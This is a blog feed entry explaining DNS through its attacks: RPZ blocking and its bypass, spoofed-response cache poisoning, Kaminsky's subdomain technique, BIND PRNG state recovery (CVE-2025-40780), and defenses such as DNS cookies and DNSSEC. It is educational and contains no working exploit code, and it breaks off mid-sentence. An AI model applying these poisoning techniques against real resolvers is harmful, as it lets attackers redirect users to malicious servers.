<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Huli&#39;s blog</title>
  
  <subtitle>Learning by sharing</subtitle>
  <link href="https://blog.huli.tw/atom.xml" rel="self"/>
  
  <link href="https://blog.huli.tw/"/>
  <updated>2026-06-24T13:00:39.564Z</updated>
  <id>https://blog.huli.tw/</id>
  
  <author>
    <name>Huli</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  
  
  <entry>
    <title>Reunderstanding the Internet from Attack - DNS</title>
    <link href="https://blog.huli.tw/2026/06/23/en/learn-network-from-attack-dns/"/>
    <id>https://blog.huli.tw/2026/06/23/en/learn-network-from-attack-dns/</id>
    <published>2026-06-23T03:11:30.000Z</published>
    <updated>2026-06-23T13:04:34.347Z</updated>
    
    <content type="html"><![CDATA[<p>“Reunderstanding the Internet from Attack” is a new series of articles. Instead of starting from scratch to explain how something works, I will directly begin with attack techniques, exploring how these attacks are executed and how to defend against them.</p><p>Reading the article with these questions in mind can help you consciously understand what you are learning and what problems the upcoming content aims to solve. Rather than a straightforward explanation of terms, “reading with questions from the beginning” is the approach I want to try.</p><p>This article will discuss the operational principles of DNS, attack techniques, and corresponding solutions. Without further ado, let’s get started.</p><span id="more"></span><h2><span id="understanding-dns-through-dns-cache-poisoning">Understanding DNS through DNS Cache Poisoning</span></h2><p>I have heard of an attack technique called DNS cache poisoning, which can control DNS responses. For example, under normal circumstances, <code>google.com</code> should resolve to an IP like <code>142.250.21.139</code>, but if an attacker poisons the DNS, it might respond with a different IP, causing users to connect to a different location.</p><p>One day, I suddenly became curious about how this is done and what defense methods exist.</p><p>Before knowing the answer, we must first understand how the entire DNS system operates.</p><p>DNS stands for Domain Name System. The most widely known explanation for the general public is that DNS is similar to a phone book; it translates <code>google.com</code> to <code>142.250.21.139</code> and <code>github.com</code> to <code>20.27.177.113</code>. In the world of the internet, the lowest level address used to send packets is not the domain but the IP, so domains must be resolved to IPs.</p><p>A more relatable explanation is that a DNS server is like an experienced taxi driver. When you say you want to go to 101, they will accurately drive you to No. 7, Section 5, Xinyi Road, Xinyi District, Taipei City, converting these landmark names into addresses to take you to your destination.</p><p>So what exactly happens behind the scenes, and how does your computer query the DNS server?</p><p>When you connect to your home router, some routers will assign you an IP and tell you to use this IP for DNS. For example, the well-known <code>168.95.1.1</code> is the DNS server of Chunghwa Telecom. Whenever you want to look up the IP of a certain domain, you will ask it.</p><p>Since this server is responsible for resolving domains to IPs, it is usually referred to as a DNS resolver, and it operates as follows:</p><div class="dns-demo-embed">  <iframe title="DNS resolver query demo" src="/demo/learn-network-from-attack-dns/01-resolver-query.html?lang=en&theme=light" data-src="/demo/learn-network-from-attack-dns/01-resolver-query.html" data-demo-frame data-height-desktop="260" data-height-tablet="260" data-height-mobile="290" loading="lazy" style="width:100%;height:260px;border:0;border-radius:8px;overflow:hidden;display:block;"></iframe></div><script src="/demo/embed.js"></script><p>Although for us, it’s just a matter of asking it to get an answer, the operation behind it is more complex. Taking my domain <code>blog.huli.tw</code> as an example, it is actually a layered process. When we ask Chunghwa Telecom, they will query the service that manages all DNS: the “root name server,” which records who manages <code>.tw</code> and tells Chunghwa Telecom: “Go ask them.”</p><p>Then Chunghwa Telecom will ask the TLD name server that manages <code>.tw</code>. After checking <code>huli.tw</code>, this name server finds that the domain is managed by <code>ken.ns.cloudflare.com</code> and responds to go find them.</p><p>So Chunghwa Telecom will then ask <code>ken.ns.cloudflare.com</code> and receive the following results:</p><pre class="line-numbers language-none"><code class="language-none">blog.huli.tw.   300 IN  A 104.21.51.169blog.huli.tw.   300 IN  A 172.67.183.1<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>It has been confirmed that the IP corresponding to <code>blog.huli.tw</code> has these two, which will be returned to my browser, and then the browser will choose where to connect.</p><p>Since only <code>ken.ns.cloudflare.com</code> knows the final result in the entire chain, it is also called the authoritative name server.</p><p>The overall process is as follows:</p><div class="dns-demo-embed">  <iframe title="DNS recursive resolution demo" src="/demo/learn-network-from-attack-dns/02-recursive-resolution.html?lang=en&theme=light" data-src="/demo/learn-network-from-attack-dns/02-recursive-resolution.html" data-demo-frame data-height-desktop="405" data-height-tablet="405" data-height-mobile="455" loading="lazy" style="width:100%;height:405px;border:0;border-radius:8px;overflow:hidden;display:block;"></iframe></div><p>The process of recursive resolution is quite long, so it is not possible to do this every time. In fact, every link has a cache, for example, the browser may have its own cache, the operating system does too, and the DNS resolver provided by Chunghwa Telecom also has it. Therefore, it does not need to check the entire chain every time to know the result; as long as it encounters a cache, it will return.</p><p>The DNS cache poisoning targets the DNS resolver, which is the Chunghwa Telecom <code>168.95.1.1</code> mentioned earlier. If I can poison <code>google.com</code>, then Chunghwa Telecom users visiting Google will connect to my server, demonstrating the significant impact of this attack.</p><p>The DNS resolver is responsible for converting domains into IPs. As long as we understand this, we can discuss two real events.</p><h2><span id="the-cjscope-incident">The CJSCOPE Incident</span></h2><p>The laptop brand CJSCOPE originally launched a “One Like, One Dollar Off” event on its official website, but found that there were too many likes, so they temporarily changed the rules and closed the website early. Since some orders placed within the time frame were also canceled, netizens took them to court, and in the end, CJSCOPE lost the case.</p><p>I was quite concerned about this case at the time. Although many netizens felt that CJSCOPE was being unreasonable, I was curious about how the canceled orders would ultimately be judged. According to CJSCOPE, they had closed the website, but netizens were able to place orders through a “website vulnerability,” so those orders were invalid.</p><p>So what exactly is this website vulnerability? How was the website closed?</p><p>The closure actually means that CJSCOPE removed their DNS records. Once the cache expired, the official website naturally became inaccessible, and an error would be returned when you entered the URL. The so-called “website vulnerability” is that netizens modified their local <code>/etc/hosts</code> file, added the records back, and could connect to the official website without relying on the DNS resolver.</p><p>According to <a href="https://judgment.judicial.gov.tw/LAW_Mobile_FJUD/FJUD/data.aspx?ty=JD&id=SLEV,114,%E5%A3%AB%E6%B6%88%E5%B0%8F,5,20250930,1">Taipei Shilin District Court Small Claims Civil Judgment No. 114 Year Shihsiao No. 5</a>, the judge’s final opinion was:</p><blockquote><p>Furthermore, if the defendant intended to refuse all orders, they should have taken the official website server offline. This is evident from the aforementioned netizen’s Facebook post, which shows that the defendant later adopted this measure. Therefore, the defendant did not take the official website server offline but merely disconnected the DNS and IP address, akin to a business temporarily removing its doorplate and sign (DNS) while still providing service (fulfilling orders) to any customer who knows the actual location (IP address). It cannot be said that the customer engaged in any fraudulent behavior or that the business was in error.</p></blockquote><p>In other words, if you, as a business, do not want to sell things, you should take the server offline, but you only removed the DNS, and the website is still up. It’s like a business still operating but just taking down the sign; it’s reasonable for familiar customers to come in and buy things.</p><p>What I am concerned about is whether “removing the DNS record counts as closing the website,” and I thought of a hypothetical scenario: suppose one of a company’s test environments is exposed on the public internet (IT has also said it should be on the internal network, but some people think connecting via VPN is too troublesome and thought no one would look for it, so they put it on the public internet), but the URL is not public, and all the prices of items inside are half of the normal price.</p><p>If a passerby finds this URL and places an order through some means, would it be considered a valid transaction?</p><p>I don’t know if the passerby needs to prove they had sufficient reason to believe this website was legitimate to place the order, or if the company needs to prove that although the website is exposed on the public internet, it is not a public website. However, based on the CJSCOPE case, the latter may not work, as it would be considered public once the website is exposed.</p><h2><span id="the-blocking-of-xiaohongshu-and-rpz">The Blocking of Xiaohongshu and RPZ</span></h2><p>As mentioned earlier, if I can make the DNS resolver resolve <code>google.com</code> to my IP, everyone will come to my server when connecting to Google, which counts as a malicious attack.</p><p>But there is also a method that operates on the same principle and follows the same approach, yet is considered benevolent.</p><p>For example, the government discovers that a certain fraudulent website is rampant, so it directly instructs Chunghwa Telecom to resolve their domain to the IP of a government unit. As a result, when users connect to that website, they will see a warning screen and not the original content.</p><p>This mechanism is called DNS RPZ (Response Policy Zone). The Taiwan Network Information Center has created a special website to explain it: <a href="https://rpz.twnic.tw/#/mechanism#main">DNS RPZ Governance Mechanism</a>. Various agencies submit requests for review, and once approved, major telecom companies in Taiwan will specifically change the IP resolution for this record, displaying a warning screen.</p><p>The most famous case is the blocking of Xiaohongshu at the end of last year. When you open the Xiaohongshu website in your browser, you will first see a certificate error page, and after clicking continue, you will see this:</p><p><img src="/img/learn-network-from-attack-dns/p1.png" alt="Blocked by RPZ"></p><p>After understanding how DNS works, you can see why the method circulating online to bypass it—“change DNS resolver”—can be successful.</p><p>Although the default DNS resolver used by many might be Chunghwa Telecom’s, this can be changed. You can switch to Google’s <code>8.8.8.8</code> or Cloudflare’s <code>1.1.1.1</code>. Through these two DNS resolvers, you can still access Xiaohongshu.</p><p>If you’re curious, you can try it on your own computer. First, query Xiaohongshu’s IP through <code>168.95.1.1</code>, and you will get <code>140.111.246.32</code> along with another RPZ-related explanation:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">dig</span> @168.95.1.1 www.xiaohongshu.com A<span class="token punctuation">;</span><span class="token punctuation">;</span> ANSWER SECTION:www.xiaohongshu.com.  <span class="token number">300</span> IN  A <span class="token number">140.111</span>.246.32<span class="token punctuation">;</span><span class="token punctuation">;</span> ADDITIONAL SECTION:rpztw.      <span class="token number">60</span>  IN  SOA localhost. This.is.an.infringing.website.rpztw. <span class="token number">1781775121</span> <span class="token number">60</span> <span class="token number">60</span> <span class="token number">86400</span> <span class="token number">60</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>And through <code>8.8.8.8</code>, you will get the normal IP:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">dig</span> @8.8.8.8 www.xiaohongshu.com Awww.xiaohongshu.com.eo.dnse0.com. <span class="token number">60</span> IN A <span class="token number">43.170</span>.214.10www.xiaohongshu.com.eo.dnse0.com. <span class="token number">60</span> IN A <span class="token number">43.175</span>.160.184www.xiaohongshu.com.eo.dnse0.com. <span class="token number">60</span> IN A <span class="token number">43.175</span>.164.195www.xiaohongshu.com.eo.dnse0.com. <span class="token number">60</span> IN A <span class="token number">43.175</span>.161.148<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Therefore, DNS RPZ is still somewhat distant from a true blockade. Its original intention is to protect the public from connecting to illegal websites, but if you don’t want to be protected or if you know what you’re doing, you can still connect by simply changing the DNS; you won’t be blocked by the wall.</p><p>Such proactive interventions in the online world naturally lead to many discussions regarding regulations and systems. To what extent can the government intervene? How can we prevent arbitrary blocking by RPZ? Some believe that the government should not intervene at all, and that the online world should be free.</p><p>Indeed, Taiwan’s RPZ has inadvertently blocked many important services, such as <a href="https://www.ithome.com.tw/news/170025">Azure Web App</a> and <a href="https://kheresy.wordpress.com/2024/04/25/wordpress-block-by-npa-part2/">WordPress</a>, which have suffered from this issue.</p><p>If you want to learn more about internet governance topics, you can refer to the <a href="https://ocf.tw/p/infr/">OCF Foundation for Open Culture</a> or the <a href="https://www.igf.org.tw/">Taiwan Internet Governance Forum TWIGF</a>. There have also been some public discussions on Facebook, such as this <a href="https://www.facebook.com/permalink.php?story_fbid=pfbid02Jow2BmwmrETdxbq3zoqyHu2mYaef2HyfZmBxx4rpMx5AdyUkY9n6VDYPVVZLwXtml&id=100000319282897">2023 discussion on the RPZ mechanism</a> and <a href="https://www.facebook.com/permalink.php?story_fbid=pfbid02nFLnR3we43WX7UWqVsEYrApbAt4qoHn2T86scvQDoZ9YKNecAQFAbENEj4n6BNdMl&id=100000028617930">2025 discussion on Xiaohongshu being blocked</a>.</p><h2><span id="the-principle-of-dns-cache-poisoning">The Principle of DNS Cache Poisoning</span></h2><p>Bringing the topic back to DNS cache poisoning, now that we understand how DNS operates, how exactly is this poisoning achieved?</p><p>As mentioned earlier, the DNS resolver queries <code>ken.ns.cloudflare.com</code> for the IP of <code>blog.huli.tw</code>. How does the attacker interfere with this result?</p><p>The first attack method that appeared historically was: “buy one get one free,” and the second was: “buzz in.”</p><p>First, the “querying the IP of <code>blog.huli.tw</code>“ involves sending a packet. The protocol used by DNS is UDP, so for the DNS resolver, it sends a packet to the name server responsible for resolving the IP of <code>blog.huli.tw</code>, assuming it is <code>108.162.193.127</code>, with the content written as:</p><pre class="line-numbers language-none"><code class="language-none">From: 168.95.1.1:53To:   108.162.193.127:53Question:blog.huli.tw A?Transaction ID: 12345<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Under normal circumstances, the name server will respond after receiving it:</p><pre class="line-numbers language-none"><code class="language-none">From: 108.162.193.127:53To:   168.95.1.1:53Transaction ID: 12345Answer:blog.huli.tw A 104.21.51.169<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>At this point, the resolver verifies that the transaction ID matches the source IP and trusts this result, storing it in its cache. The next time someone queries, it will respond directly.</p><p>The first technique, “buy one get one free,” involves the name server responsible for resolving <code>blog.huli.tw</code> secretly sending you results for other domains in the returned packet:</p><pre class="line-numbers language-none"><code class="language-none">From: 108.162.193.127:53To:   168.95.1.1:53Transaction ID: 12345Answer:blog.huli.tw A 104.21.51.169google.com A 104.21.51.169<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>It’s equivalent to saying, “Even though you didn’t ask, I’ll let you know that the IP for <code>google.com</code> is this.”</p><p>However, you need to have a legitimate name server responsible for resolving domain names to carry out this attack, which has a high prerequisite that most people cannot meet, but it did happen 30 years ago.</p><p>In 1997, Eugene Kashpureff’s AlterNIC was responsible for DNS resolution for some top-level domains, and he used this technique to influence the resolution results of another DNS service, <code>www.internic.net</code>.</p><p>This was not cybersecurity research but actual crime, so he was caught, and you can still find reports from The New York Times: <a href="https://archive.nytimes.com/www.nytimes.com/library/cyber/week/110797kashpureff.html">From Jail and Boardroom, A Street Fight for the Internet</a> and related <a href="https://www.irational.org/APD/CCIPS/kashpurepr.htm">press releases</a>.</p><p>This issue was later fixed with the introduction of a mechanism called “bailiwick checking,” which checks whether the DNS server has the authority to answer the resolution records for that domain, preventing the “buy one get one free” tactic.</p><p>Next, let’s talk about the second technique, “fast answering.” Since the resolver trusts the result if the transaction ID matches the source IP, conversely, as long as the attacker can spoof these two things and do it faster than the original, the resolver will believe the forged result.</p><p>First, let’s discuss the spoofing of IP. The so-called IP is ultimately just a string of characters placed in the packet. Although the OS fills it in for you, you can modify it yourself and input the IP you want, thus successfully spoofing it.</p><p>However, in scenarios like HTTP that use TCP, there is a three-way handshake at the beginning. You send a packet to the other party, and then they send one back to you. In this second step, “the other party sends to you,” they will send it to your spoofed destination, and you won’t receive it, making it impossible to establish a connection. So, even if you spoof, it won’t work.</p><p>However, DNS uses UDP, so once the packet is sent out, it ends there, allowing for successful spoofing.</p><p>In addition, some ISPs perform filtering. When they detect that the IP in your packet is strange and not allocated to your network segment, they will drop the packet directly, so you can’t send it out at all. This mechanism is called <a href="https://www.rfc-editor.org/info/rfc2827/">BCP 38: Network Ingress Filtering</a>.</p><p>But this is not mandatory, so once you find an ISP that does not implement BCP 38, you can spoof the source IP and send the forged response to the DNS resolver.</p><p>What about the transaction ID? This is a 16-bit ID, with only 65536 possible values, so you can just keep guessing. As long as you guess correctly, it’s yours. If you guess randomly each time, you have a 50% chance of hitting at least once after guessing 45426 times.</p><p>But this is only theoretical feasibility; there is a fatal flaw that has not been considered. As mentioned earlier, these name servers have caches. If I guess wrong this time, I have to wait for the cache to expire before I can guess again. Even if it’s just 1 minute, I would have to guess for 1 month to reach over 45000 guesses, which is somewhat impractical.</p><div class="dns-demo-embed">  <iframe title="DNS cache expiry guessing demo" src="/demo/learn-network-from-attack-dns/04-cache-expiry.html?lang=en&theme=light" data-src="/demo/learn-network-from-attack-dns/04-cache-expiry.html" data-demo-frame data-height-desktop="305" data-height-tablet="305" data-height-mobile="345" loading="lazy" style="width:100%;height:305px;border:0;border-radius:8px;overflow:hidden;display:block;"></iframe></div><p>This flaw was overcome by Dan Kaminsky in 2008.</p><h2><span id="black-ops-2008-its-the-end-of-the-cache-as-we-know-it">Black Ops 2008 – It’s The End Of The Cache As We Know It</span></h2><p>This was the title of Dan Kaminsky’s talk at <a href="https://blackhat.com/html/bh-usa-08/bh-usa-08-speakers.html#Kaminsky">Black Hat USA 2008</a>, and the slides can only be found in this version from <a href="https://blackhat.com/presentations/bh-jp-08/bh-jp-08-Kaminsky/BlackHat-Japan-08-Kaminsky-DNS08-BlackOps.pdf">Black Hat Japan</a>.</p><p>The attack method he proposed is that since guessing wrong will be blocked, we can just guess a different subdomain.</p><p>First, guess <code>1.huli.tw</code>, if wrong, then guess <code>2.huli.tw</code>, and so on, continuously guessing further back. Since each guessed domain is different, even if the guess is wrong, there is no need to wait for the cache to expire. Originally, each guess would require a five-minute cooldown, but now there is no need to wait at all.</p><p>If you guess 100 times per second, you can complete over 45,000 guesses in 8 minutes, significantly increasing the success rate.</p><p>But what if you guess correctly? No one is going to visit a domain like <code>42.huli.tw</code>, which doesn’t exist at all.</p><p>This is the key point. When we guess correctly, the forged response is not “<code>42.huli.tw</code> is at <code>x.x.x.x</code>,” but rather “I don’t know where <code>42.huli.tw</code> is, you should ask <code>x.x.x.x</code>, <code>huli.tw</code> is managed by them.” Therefore, the DNS resolver gets polluted regarding the name server IP responsible for resolving <code>huli.tw</code>, and afterwards, it will ask the forged location.</p><p>This is somewhat similar to the previously mentioned buy one get one free, but there is a fundamental difference. Buy one get one free is: “You ask me for <code>huli.tw</code>, and I conveniently tell you <code>google.com</code>,” but that shouldn’t happen at all, so it was blocked.</p><p>Now it is: “You ask me for <code>42.huli.tw</code>, and I tell you who manages <code>huli.tw</code>,” which is allowed because both belong to the same domain.</p><p>The entire attack process is as follows:</p><div class="dns-demo-embed">  <iframe title="Kaminsky DNS cache poisoning attack demo" src="/demo/learn-network-from-attack-dns/05-kaminsky-attack.html?lang=en&theme=light" data-src="/demo/learn-network-from-attack-dns/05-kaminsky-attack.html" data-demo-frame data-height-desktop="355" data-height-tablet="355" data-height-mobile="420" loading="lazy" style="width:100%;height:355px;border:0;border-radius:8px;overflow:hidden;display:block;"></iframe></div><p>The final fix was that instead of just guessing a 16-bit transaction ID, now the port has also become random, and the range of the port is also 16 bits, so the possibilities have increased to 32 bits, from the original 60,000 to 4 billion.</p><p>By the way, Dan Kaminsky himself talked about some stories behind fixing the vulnerability at O’Reilly FOO Camp 2008, and the video is here: <a href="https://www.youtube.com/watch?v=B0dHDD9fFM4">Geek Alert: Dan Kaminsky on the DNS Bug of 2008</a>. The impact was so large that every company needed to cooperate in the fix.</p><p>Since the possibilities have become 4 billion, guessing correctly seems impossible. But hackers are good at digging deep; while 4 billion random numbers are impossible to guess, how are your random numbers generated?</p><h2><span id="dns-cache-poisoning-like-its-2006">DNS Cache Poisoning Like it’s 2006</span></h2><p>USENIX Security is one of the most important cybersecurity academic conferences in the world. Although this year’s conference will be held in August, we can already see the <a href="https://www.usenix.org/conference/usenixsecurity26/cycle1-accepted-papers">accepted papers</a>, and the title <a href="https://www.usenix.org/system/files/conference/usenixsecurity26/sec26_prepub_ben-simhon.pdf">DNS Cache Poisoning Like it’s 2006</a> is one example, authored by Omer Ben-Simhon and Amit Klein from Hebrew University.</p><p>After the vulnerability discovered by Dan Kaminsky in 2008 was patched, the possibility of DNS cache poisoning attacks decreased significantly, as guessing a random number within 4 billion in a short time is quite difficult.</p><p>However, have you ever thought about how these random numbers are generated?</p><p>Typically, there are two ways to generate random numbers in programming: one is secure, and the other is not. The term “secure” here refers to “cryptographically strong,” meaning secure in a cryptographic sense.</p><p>In JavaScript, the insecure method is <code>Math.random</code>, while the secure method is <code>crypto.getRandomValues</code>. The difference lies in the underlying implementation; the former is predictable, while the latter is not.</p><p>Why can it be predicted? Because most random numbers are not truly random but are “pretending to be random.” For example, there is a simple algorithm for generating random numbers called LCG (Linear Congruential Generator), which can be written in JavaScript as:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">class</span> <span class="token class-name">LCG</span> <span class="token punctuation">&#123;</span>  <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">seed</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">this</span><span class="token punctuation">.</span>state <span class="token operator">=</span> seed<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token function">next</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">const</span> a <span class="token operator">=</span> <span class="token number">1664525</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> c <span class="token operator">=</span> <span class="token number">1013904223</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> m <span class="token operator">=</span> <span class="token number">2</span> <span class="token operator">**</span> <span class="token number">32</span><span class="token punctuation">;</span>    <span class="token keyword">this</span><span class="token punctuation">.</span>state <span class="token operator">=</span> <span class="token punctuation">(</span>a <span class="token operator">*</span> <span class="token keyword">this</span><span class="token punctuation">.</span>state <span class="token operator">+</span> c<span class="token punctuation">)</span> <span class="token operator">%</span> m<span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">const</span> rng <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">LCG</span><span class="token punctuation">(</span><span class="token number">123</span><span class="token punctuation">)</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>rng<span class="token punctuation">.</span><span class="token function">next</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>rng<span class="token punctuation">.</span><span class="token function">next</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>rng<span class="token punctuation">.</span><span class="token function">next</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>You pass in a seed as the initial state <code>state</code>, and then through a fixed formula: <code>1664525 * state + 1013904223</code>, you take the modulus of <code>m</code> to get the result, which is the random number, and it will also become the next state. The function responsible for generating random numbers is called PRNG (Pseudo-Random Number Generator).</p><p>So as long as your seed is the same, the sequence of random numbers generated each time will be the same. Conversely, when you have enough random numbers, you can reverse-engineer what the original seed was. This is why it can be predicted; it’s just simple mathematics.</p><p>The software behind the DNS resolver is called BIND, and BIND uses a PRNG called <code>Xoshiro128**</code> when generating random numbers. After obtaining multiple outputs, you can trace back to its initial state. Once you have the initial state, you can predict what the next random number and every subsequent random number will be.</p><p>This is essentially solving a system of equations, similar to asking what x, y, and z are in <code>2x+y+z=3</code>, <code>5x+2y+3z=2</code>, <code>x+y+z=9</code>.</p><p>The key point is, how do you obtain these outputs? Besides the transaction ID and port, BIND also uses the same random number generator in other places. For example, when I query the record for <code>google.com</code>, the first response is:</p><pre class="line-numbers language-none"><code class="language-none">google.com.   252 IN  A 142.250.21.102google.com.   252 IN  A 142.250.21.138google.com.   252 IN  A 142.250.21.139google.com.   252 IN  A 142.250.21.113google.com.   252 IN  A 142.250.21.101google.com.   252 IN  A 142.250.21.100<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>And the second response is:</p><pre class="line-numbers language-none"><code class="language-none">google.com.   247 IN  A 142.250.21.138google.com.   247 IN  A 142.250.21.139google.com.   247 IN  A 142.250.21.113google.com.   247 IN  A 142.250.21.101google.com.   247 IN  A 142.250.21.100google.com.   247 IN  A 142.250.21.102<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Each result is for the A type of <code>google.com</code>, which we call a Resource Record Set, abbreviated as RRSet. You can clearly see that although the IPs in the two responses are the same, the order is different.</p><p>This order is determined randomly, so when you have enough records in your RRSet (according to the original text, more than 23), you can deduce part of the seed from the sorted results. Doing this a few more times can restore all 128 bits of the seed, thus cracking the random number.</p><p>Once the random number is cracked, both the port and transaction ID can be guessed, reducing the 4 billion possibilities you were peeking into the future down to just 1, rendering the protective measures useless. The solution is to replace the random number with a more secure generation method and to keep important and unimportant random numbers separate.</p><p>In this example, important random numbers like transaction IDs and ports use the same PRNG instance as those unimportant random numbers like RRSet sorting, allowing you to reverse-engineer the seed from other places.</p><p>This vulnerability was fixed last October, and the official announcement can be found here: <a href="https://kb.isc.org/docs/cve-2025-40780">CVE-2025-40780: Cache poisoning due to weak PRNG</a>.</p><p>By the way, I stumbled upon this unpublished research. I asked about the techniques for DNS cache poisoning, and it pointed me to this. If I had searched for it myself on Google, I might not have found it and would have ended up with other articles first.</p><p>However, since the article is very new, whether it’s ChatGPT or Gemini, as long as it doesn’t use search tools, the answers it gives you will be a bunch of hallucinations (but they seem very real and convincing), stating many things that are not written in the original text.</p><h2><span id="is-dns-really-that-insecure-discussing-dnssec-and-dns-cookies">Is DNS really that insecure? Discussing DNSSEC and DNS cookies</span></h2><p>In the paper “DNS Cache Poisoning Like it’s 2006,” many details can be seen, one of which discusses DNS cookies. When I saw it, I thought, “Here comes another new term I’ve never heard of,” so I looked up what it was.</p><p>Although the proposal for DNS cookies existed in 2006, it wasn’t officially turned into <a href="https://datatracker.ietf.org/doc/draft-ietf-dnsop-cookies/10/">RFC 7873</a> until 2016. Its main goal is to solve the problem of packet forgery.</p><p>All the previous writing revolves around the issue of packet forgery, and the solution proposed by DNS cookies is that when a DNS resolver wants to ask a DNS name server a question, it first brings along a 64-bit client cookie. This client cookie can be generated like this, using the client IP + server IP combined with a secret:</p><pre class="line-numbers language-none"><code class="language-none">HMAC-SHA256-64(Client IP Address | Server IP Address, Client Secret)<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>Next, the client cookie is sent along with the domain to be queried to the name server.</p><p>When the name server receives it, it generates a unique server cookie using a similar method (for example, hashing the client IP + client cookie + server secret), and sends the query answer along with the server cookie back to the client. The DNS resolver then stores the server cookie upon receipt.</p><p>From this point on, all query requests sent from the DNS resolver to that name server will carry the client cookie + server cookie. The name server will also check whether the client cookie and server cookie are correct when receiving requests.</p><p>Once this relationship is established, if the DNS resolver receives a forged response, the attacker cannot forge the server cookie since they do not know the client cookie, so the verification will fail.</p><p>Now, how does the method of guessing the random number discussed in the previous section bypass the defense of DNS cookies?</p><p>Although the DNS cookie mechanism is enabled by default in BIND, the expiration time for the new version is 60 seconds, meaning the entire process restarts every 60 seconds. Therefore, the attacker has an opportunity to attack every 60 seconds; as long as they can respond faster than the authoritative DNS, they can send their own client cookie first, thereby bypassing this protection mechanism.</p><p>Thus, while the entire DNS cookie mechanism seems sound, the expiration time is too short, so during the window immediately after expiration, it is effectively unprotected.</p><p>Furthermore, DNS cookies are not that widespread; among the top one million websites ranked by Alexa, only 32% support it.</p><p>In addition to DNS cookies, there is another protective measure called DNSSEC, and the paper mentions that they assume the victim has not enabled this mechanism, so there is no need to bypass it.</p><p>So what is DNSSEC?</p><p>The full name is DNS Security Extensions, and the problem it aims to solve is the same: how to prevent attackers from forging responses from authoritative DNS.</p><p>The methods mentioned earlier are essentially stopgap measures. Initially, the transaction ID could be guessed, so a random port was added to make it unguessable, then DNS cookies were introduced, and now there is an additional client cookie and server cookie that cannot be guessed, based on the first connection.</p><p>However, none of these methods can guarantee that the response received by the DNS resolver is from the authoritative DNS; they merely increase the difficulty through randomness. What can truly guarantee this should be similar to HTTPS, establishing a trust chain that can be verified through digital signatures.</p><p>And that is exactly what DNSSEC does. In simple terms, it can be thought of as the response from authoritative DNS containing a signature, which the DNS resolver can verify using cryptographic methods to check if this signature was issued by <code>huli.tw</code>. If it is, then it is accepted, preventing others from forging it.</p><p>However, this seemingly useful mechanism has a very low actual usage rate. According to the numbers provided by <a href="https://ithi.research.icann.org/graph-m11.html">M11: DNSSEC Deployment in TLD and SLD</a>, only 7% of the top 100 websites in the world have it set up, and only 12% for <code>.tw</code>.</p><p>DNSSEC needs to be configured by the domain owner, so it is up to each domain owner to handle it. If configured incorrectly, users may have trouble accessing the website. After some investigation, the reasons for the lack of adoption seem to be that deployment is relatively cumbersome and there are no incentives. Compared to the cost of implementation, the benefits seem lower.</p><p>However, some domain hosting services now handle these hassles for you, such as <a href="https://www.twnic.tw/blog/contents.php?id=96&lang=en">TWNIC</a>, which has DNSSEC enabled by default, and <a href="https://www.cloudflare.com/learning/dns/dnssec/universal-dnssec/">Cloudflare</a> can also enable it with one click. But for large companies with technical debt, the cost may still be relatively high; it is not as simple as just pressing a button to enable it.</p><h2><span id="the-inherent-flaws-of-dns-and-privacy-protection">The Inherent Flaws of DNS and Privacy Protection</span></h2><p>In fact, when discussing DNS-related attacks, they are usually divided into two categories: on-path and off-path.</p><p>The “path” refers to the transmission route of DNS packets. The packets exchanged between DNS servers are not encrypted, so any node in the middle can see or tamper with the content during transmission; this attack path is called on-path.</p><p>Off-path refers to attackers who are not on the path, cannot see the packets, and cannot directly tamper with them. The attack cases mentioned earlier are based on off-path. Since on-path can see and modify, among the various defensive methods mentioned, only DNSSEC can truly defend against on-path attacks, as it relies on digital signatures rather than random numbers.</p><p>Because DNS packets are not encrypted, the DNS resolver you use, and even the nodes along the entire chain, can see your packets and know which websites you queried, leaking your privacy.</p><p>As a result, two technologies have emerged. One is DNS over TLS, abbreviated as DoT, which brings the TLS protocol to DNS queries. This time, it uses a TCP connection along with TLS authentication, 